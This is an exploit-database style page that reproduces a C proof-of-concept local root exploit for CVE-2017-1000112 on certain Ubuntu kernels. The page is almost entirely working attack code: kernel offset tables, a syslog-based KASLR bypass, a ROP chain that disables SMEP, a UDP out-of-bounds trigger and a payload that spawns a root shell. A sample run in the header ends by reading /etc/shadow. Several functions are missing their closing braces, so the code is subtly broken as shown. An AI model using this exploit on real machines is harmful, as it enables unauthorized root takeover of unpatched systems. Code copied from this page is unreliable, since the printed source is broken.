发布 2017-08-13 漏洞条目

Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP)

Exploit Source

// A proof-of-concept local root exploit for CVE-2017-1000112.

// Includes KASLR and SMEP bypasses. No SMAP bypass.

// Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.

// EDB Note: Also included the work from ~ https://ricklarabee.blogspot.co.uk/2017/12/adapting-poc-for-cve-2017-1000112-to.html

// Supports: Ubuntu Xenial (16.04) 4.4.0-81

// Usage:

// user@ubuntu:~$ uname -a

// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

// user@ubuntu:~$ whoami

// user

// user@ubuntu:~$ id

// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

// user@ubuntu:~$ gcc pwn.c -o pwn

// user@ubuntu:~$ ./pwn

// [.] starting

// [.] checking distro and kernel versions

// [.] kernel version '4.8.0-58-generic' detected

// [~] done, versions looks good

// [.] checking SMEP and SMAP

// [~] done, looks good

// [.] setting up namespace sandbox

// [~] done, namespace sandbox set up

// [.] KASLR bypass enabled, getting kernel addr

// [~] done, kernel text: ffffffffae400000

// [.] commit_creds: ffffffffae4a5d20

// [.] prepare_kernel_cred: ffffffffae4a6110

// [.] SMEP bypass enabled, mmapping fake stack

// [~] done, fake stack mmapped

// [.] executing payload ffffffffae40008d

// [~] done, should be root now

// [.] checking if we got root

// [+] got r00t ^_^

// root@ubuntu:/home/user# whoami

// root

// root@ubuntu:/home/user# id

// uid=0(root) gid=0(root) groups=0(root)

// root@ubuntu:/home/user# cat /etc/shadow

// root:!:17246:0:99999:7:::

// daemon:*:17212:0:99999:7:::

// bin:*:17212:0:99999:7:::

// sys:*:17212:0:99999:7:::

// ...

// EDB Note: Details ~ http://www.openwall.com/lists/oss-security/2017/08/13/1

// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <assert.h>

#include <errno.h>

#include <fcntl.h>

#include <sched.h>

#include <stdarg.h>

#include <stdbool.h>

#include <stdint.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <linux/socket.h>

#include <netinet/ip.h>

#include <sys/klog.h>

#include <sys/mman.h>

#include <sys/utsname.h>

#define ENABLE_KASLR_BYPASS 1

#define ENABLE_SMEP_BYPASS 1

// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.

unsigned long KERNEL_BASE = 0xffffffff81000000ul;

// Will be overwritten by detect_versions().

int kernel = -1;

struct kernel_info {

const char* distro;

const char* version;

uint64_t commit_creds;

uint64_t prepare_kernel_cred;

uint64_t xchg_eax_esp_ret;

uint64_t pop_rdi_ret;

uint64_t mov_dword_ptr_rdi_eax_ret;

uint64_t mov_rax_cr4_ret;

uint64_t neg_rax_ret;

uint64_t pop_rcx_ret;

uint64_t or_rax_rcx_ret;

uint64_t xchg_eax_edi_ret;

uint64_t mov_cr4_rdi_ret;

uint64_t jmp_rcx;

};

struct kernel_info kernels[] = {

{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },

{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },

{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },

{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },

{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },

{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },

{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },

{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },

{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },

{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },

{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },

{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },

{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },

{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },

{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },

{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },

{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },

{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },

{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },

{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },

{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },

{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },

{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },

{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },

{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },

{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },

{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },

{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },

{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },

{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },

{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },

{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },

{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },

{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },

{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },

{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },

{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },

{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },

{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },

{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },

};

// Used to get root privileges.

#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)

#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)

// Used when ENABLE_SMEP_BYPASS is used.

// - xchg eax, esp ; ret

// - pop rdi ; ret

// - mov dword ptr [rdi], eax ; ret

// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret

// - neg rax ; ret

// - pop rcx ; ret

// - or rax, rcx ; ret

// - xchg eax, edi ; ret

// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret

// - jmp rcx

#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)

#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)

#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)

#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)

#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)

#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)

#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)

#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)

#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)

#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)

// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *

typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);

typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

void get_root(void) {

((_commit_creds)(COMMIT_CREDS))(

((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));

}

// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *

uint64_t saved_esp;

// Unfortunately GCC does not support `__atribute__((naked))` on x86, which

// can be used to omit a function's prologue, so I had to use this weird

// wrapper hack as a workaround. Note: Clang does support it, which means it

// has better support of GCC attributes than GCC itself. Funny.

void wrapper() {

asm volatile (" \n\

payload: \n\

movq %%rbp, %%rax \n\

movq $0xffffffff00000000, %%rdx \n\

andq %%rdx, %%rax \n\

movq %0, %%rdx \n\

addq %%rdx, %%rax \n\

movq %%rax, %%rsp \n\

call get_root \n\

ret \n\

" : : "m"(saved_esp) : );

}

void payload();

#define CHAIN_SAVE_ESP \

*stack++ = POP_RDI_RET; \

*stack++ = (uint64_t)&saved_esp; \

*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;

#define SMEP_MASK 0x100000

#define CHAIN_DISABLE_SMEP \

*stack++ = MOV_RAX_CR4_RET; \

*stack++ = NEG_RAX_RET; \

*stack++ = POP_RCX_RET; \

*stack++ = SMEP_MASK; \

*stack++ = OR_RAX_RCX_RET; \

*stack++ = NEG_RAX_RET; \

*stack++ = XCHG_EAX_EDI_RET; \

*stack++ = MOV_CR4_RDI_RET;

#define CHAIN_JMP_PAYLOAD \

*stack++ = POP_RCX_RET; \

*stack++ = (uint64_t)&payload; \

*stack++ = JMP_RCX;

void mmap_stack() {

uint64_t stack_aligned, stack_addr;

int page_size, stack_size, stack_offset;

uint64_t* stack;

page_size = getpagesize();

stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);

stack_addr = stack_aligned - page_size * 4;

stack_size = page_size * 8;

stack_offset = XCHG_EAX_ESP_RET % page_size;

stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,

MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);

if (stack == MAP_FAILED || stack != (void*)stack_addr) {

perror("[-] mmap()");

exit(EXIT_FAILURE);

}

stack = (uint64_t*)((char*)stack_aligned + stack_offset);

CHAIN_SAVE_ESP;

CHAIN_DISABLE_SMEP;

CHAIN_JMP_PAYLOAD;

}

// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *

#define SYSLOG_ACTION_READ_ALL 3

#define SYSLOG_ACTION_SIZE_BUFFER 10

void mmap_syslog(char** buffer, int* size) {

*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);

if (*size == -1) {

perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");

exit(EXIT_FAILURE);

}

*size = (*size / getpagesize() + 1) * getpagesize();

*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,

MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);

if (*size == -1) {

perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");

exit(EXIT_FAILURE);

}

unsigned long get_kernel_addr_trusty(char* buffer, int size) {

const char* needle1 = "Freeing unused";

char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));

if (substr == NULL) {

fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);

exit(EXIT_FAILURE);

}

int start = 0;

int end = 0;

for (end = start; substr[end] != '-'; end++);

const char* needle2 = "ffffff";

substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));

if (substr == NULL) {

fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);

exit(EXIT_FAILURE);

}

char* endptr = &substr[16];

unsigned long r = strtoul(&substr[0], &endptr, 16);

r &= 0xffffffffff000000ul;

return r;

}

unsigned long get_kernel_addr_xenial(char* buffer, int size) {

const char* needle1 = "Freeing unused";

char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));

if (substr == NULL) {

fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);

exit(EXIT_FAILURE);

}

int start = 0;

int end = 0;

for (start = 0; substr[start] != '-'; start++);

for (end = start; substr[end] != '\n'; end++);

const char* needle2 = "ffffff";

substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));

if (substr == NULL) {

fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);

exit(EXIT_FAILURE);

}

char* endptr = &substr[16];

unsigned long r = strtoul(&substr[0], &endptr, 16);

r &= 0xfffffffffff00000ul;

r -= 0x1000000ul;

return r;

}

unsigned long get_kernel_addr() {

char* syslog;

int size;

mmap_syslog(&syslog, &size);

if (strcmp("trusty", kernels[kernel].distro) == 0 &&

strncmp("4.4.0", kernels[kernel].version, 5) == 0)

return get_kernel_addr_trusty(syslog, size);

if (strcmp("xenial", kernels[kernel].distro) == 0 &&

strncmp("4.4.0", kernels[kernel].version, 5) == 0 ||

strncmp("4.8.0", kernels[kernel].version, 5) == 0)

return get_kernel_addr_xenial(syslog, size);

printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");

exit(EXIT_FAILURE);

}

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

struct ubuf_info {

uint64_t callback; // void (*callback)(struct ubuf_info *, bool)

uint64_t ctx; // void *

uint64_t desc; // unsigned long

};

struct skb_shared_info {

uint8_t nr_frags; // unsigned char

uint8_t tx_flags; // __u8

uint16_t gso_size; // unsigned short

uint16_t gso_segs; // unsigned short

uint16_t gso_type; // unsigned short

uint64_t frag_list; // struct sk_buff *

uint64_t hwtstamps; // struct skb_shared_hwtstamps

uint32_t tskey; // u32

uint32_t ip6_frag_id; // __be32

uint32_t dataref; // atomic_t

uint64_t destructor_arg; // void *

uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];

};

struct ubuf_info ui;

void init_skb_buffer(char* buffer, unsigned long func) {

struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;

memset(ssi, 0, sizeof(*ssi));

ssi->tx_flags = 0xff;

ssi->destructor_arg = (uint64_t)&ui;

ssi->nr_frags = 0;

ssi->frag_list = 0;

ui.callback = func;

}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define SHINFO_OFFSET 3164

void oob_execute(unsigned long payload) {

char buffer[4096];

memset(&buffer[0], 0x42, 4096);

init_skb_buffer(&buffer[SHINFO_OFFSET], payload);

int s = socket(PF_INET, SOCK_DGRAM, 0);

if (s == -1) {

perror("[-] socket()");

exit(EXIT_FAILURE);

}

struct sockaddr_in addr;

memset(&addr, 0, sizeof(addr));

addr.sin_family = AF_INET;

addr.sin_port = htons(8000);

addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

if (connect(s, (void*)&addr, sizeof(addr))) {

perror("[-] connect()");

exit(EXIT_FAILURE);

}

int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);

int rv = send(s, buffer, size, MSG_MORE);

if (rv != size) {

perror("[-] send()");

exit(EXIT_FAILURE);

}

int val = 1;

rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));

if (rv != 0) {

perror("[-] setsockopt(SO_NO_CHECK)");

exit(EXIT_FAILURE);

}

send(s, buffer, 1, 0);

close(s);

}

// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *

#define CHUNK_SIZE 1024

int read_file(const char* file, char* buffer, int max_length) {

int f = open(file, O_RDONLY);

if (f == -1)

return -1;

int bytes_read = 0;

while (true) {

int bytes_to_read = CHUNK_SIZE;

if (bytes_to_read > max_length - bytes_read)

bytes_to_read = max_length - bytes_read;

int rv = read(f, &buffer[bytes_read], bytes_to_read);

if (rv == -1)

return -1;

bytes_read += rv;

if (rv == 0)

return bytes_read;

}

#define LSB_RELEASE_LENGTH 1024

void get_distro_codename(char* output, int max_length) {

char buffer[LSB_RELEASE_LENGTH];

int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH);

if (length == -1) {

perror("[-] open/read(/etc/lsb-release)");

exit(EXIT_FAILURE);

}

const char *needle = "DISTRIB_CODENAME=";

int needle_length = strlen(needle);

char* found = memmem(&buffer[0], length, needle, needle_length);

if (found == NULL) {

printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");

exit(EXIT_FAILURE);

}

int i;

for (i = 0; found[needle_length + i] != '\n'; i++) {

assert(i < max_length);

assert((found - &buffer[0]) + needle_length + i < length);

output[i] = found[needle_length + i];

}

void get_kernel_version(char* output, int max_length) {

struct utsname u;

int rv = uname(&u);

if (rv != 0) {

perror("[-] uname())");

exit(EXIT_FAILURE);

}

assert(strlen(u.release) <= max_length);

strcpy(&output[0], u.release);

}

#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))

#define DISTRO_CODENAME_LENGTH 32

#define KERNEL_VERSION_LENGTH 32

void detect_versions() {

char codename[DISTRO_CODENAME_LENGTH];

char version[KERNEL_VERSION_LENGTH];

get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);

get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);

int i;

for (i = 0; i < ARRAY_SIZE(kernels); i++) {

if (strcmp(&codename[0], kernels[i].distro) == 0 &&

strcmp(&version[0], kernels[i].version) == 0) {

printf("[.] kernel version '%s' detected\n", kernels[i].version);

kernel = i;

return;

}

printf("[-] kernel version not recognized\n");

exit(EXIT_FAILURE);

}

#define PROC_CPUINFO_LENGTH 4096

// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP

int smap_smep_enabled() {

char buffer[PROC_CPUINFO_LENGTH];

int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH);

if (length == -1) {

perror("[-] open/read(/proc/cpuinfo)");

exit(EXIT_FAILURE);

}

int rv = 0;

char* found = memmem(&buffer[0], length, "smep", 4);

if (found != NULL)

rv += 1;

found = memmem(&buffer[0], length, "smap", 4);

if (found != NULL)

rv += 2;

return rv;

}

void check_smep_smap() {

int rv = smap_smep_enabled();

if (rv >= 2) {

printf("[-] SMAP detected, no bypass available\n");

exit(EXIT_FAILURE);

}

#if !ENABLE_SMEP_BYPASS

if (rv >= 1) {

printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");

exit(EXIT_FAILURE);

}

#endif

}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

static bool write_file(const char* file, const char* what, ...) {

char buf[1024];

va_list args;

va_start(args, what);

vsnprintf(buf, sizeof(buf), what, args);

va_end(args);

buf[sizeof(buf) - 1] = 0;

int len = strlen(buf);

int fd = open(file, O_WRONLY | O_CLOEXEC);

if (fd == -1)

return false;

if (write(fd, buf, len) != len) {

close(fd);

return false;

}

close(fd);

return true;

}

void setup_sandbox() {

int real_uid = getuid();

int real_gid = getgid();

if (unshare(CLONE_NEWUSER) != 0) {

printf("[!] unprivileged user namespaces are not available\n");

perror("[-] unshare(CLONE_NEWUSER)");

exit(EXIT_FAILURE);

}

if (unshare(CLONE_NEWNET) != 0) {

perror("[-] unshare(CLONE_NEWUSER)");

exit(EXIT_FAILURE);

}

if (!write_file("/proc/self/setgroups", "deny")) {

perror("[-] write_file(/proc/self/set_groups)");

exit(EXIT_FAILURE);

}

if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {

perror("[-] write_file(/proc/self/uid_map)");

exit(EXIT_FAILURE);

}

if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {

perror("[-] write_file(/proc/self/gid_map)");

exit(EXIT_FAILURE);

}

cpu_set_t my_set;

CPU_ZERO(&my_set);

CPU_SET(0, &my_set);

if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {

perror("[-] sched_setaffinity()");

exit(EXIT_FAILURE);

}

if (system("/sbin/ifconfig lo mtu 1500") != 0) {

perror("[-] system(/sbin/ifconfig lo mtu 1500)");

exit(EXIT_FAILURE);

}

if (system("/sbin/ifconfig lo up") != 0) {

perror("[-] system(/sbin/ifconfig lo up)");

exit(EXIT_FAILURE);

}

void exec_shell() {

char* shell = "/bin/bash";

char* args[] = {shell, "-i", NULL};

execve(shell, args, NULL);

}

bool is_root() {

// We can't simple check uid, since we're running inside a namespace

// with uid set to 0. Try opening /etc/shadow instead.

int fd = open("/etc/shadow", O_RDONLY);

if (fd == -1)

return false;

close(fd);

return true;

}

void check_root() {

printf("[.] checking if we got root\n");

if (!is_root()) {

printf("[-] something went wrong =(\n");

return;

}

printf("[+] got r00t ^_^\n");

exec_shell();

}

int main(int argc, char** argv) {

printf("[.] starting\n");

printf("[.] checking distro and kernel versions\n");

detect_versions();

printf("[~] done, versions looks good\n");

printf("[.] checking SMEP and SMAP\n");

check_smep_smap();

printf("[~] done, looks good\n");

printf("[.] setting up namespace sandbox\n");

setup_sandbox();

printf("[~] done, namespace sandbox set up\n");

#if ENABLE_KASLR_BYPASS

printf("[.] KASLR bypass enabled, getting kernel addr\n");

KERNEL_BASE = get_kernel_addr();

printf("[~] done, kernel text: %lx\n", KERNEL_BASE);

#endif

printf("[.] commit_creds: %lx\n", COMMIT_CREDS);

printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);

unsigned long payload = (unsigned long)&get_root;

#if ENABLE_SMEP_BYPASS

printf("[.] SMEP bypass enabled, mmapping fake stack\n");

mmap_stack();

payload = XCHG_EAX_ESP_RET;

printf("[~] done, fake stack mmapped\n");

#endif

printf("[.] executing payload %lx\n", payload);

oob_execute(payload);

printf("[~] done, should be root now\n");

check_root();

return 0;

}

作者: Andrey Konovalov
日期: 2017-08-13
类别: local
平台: linux

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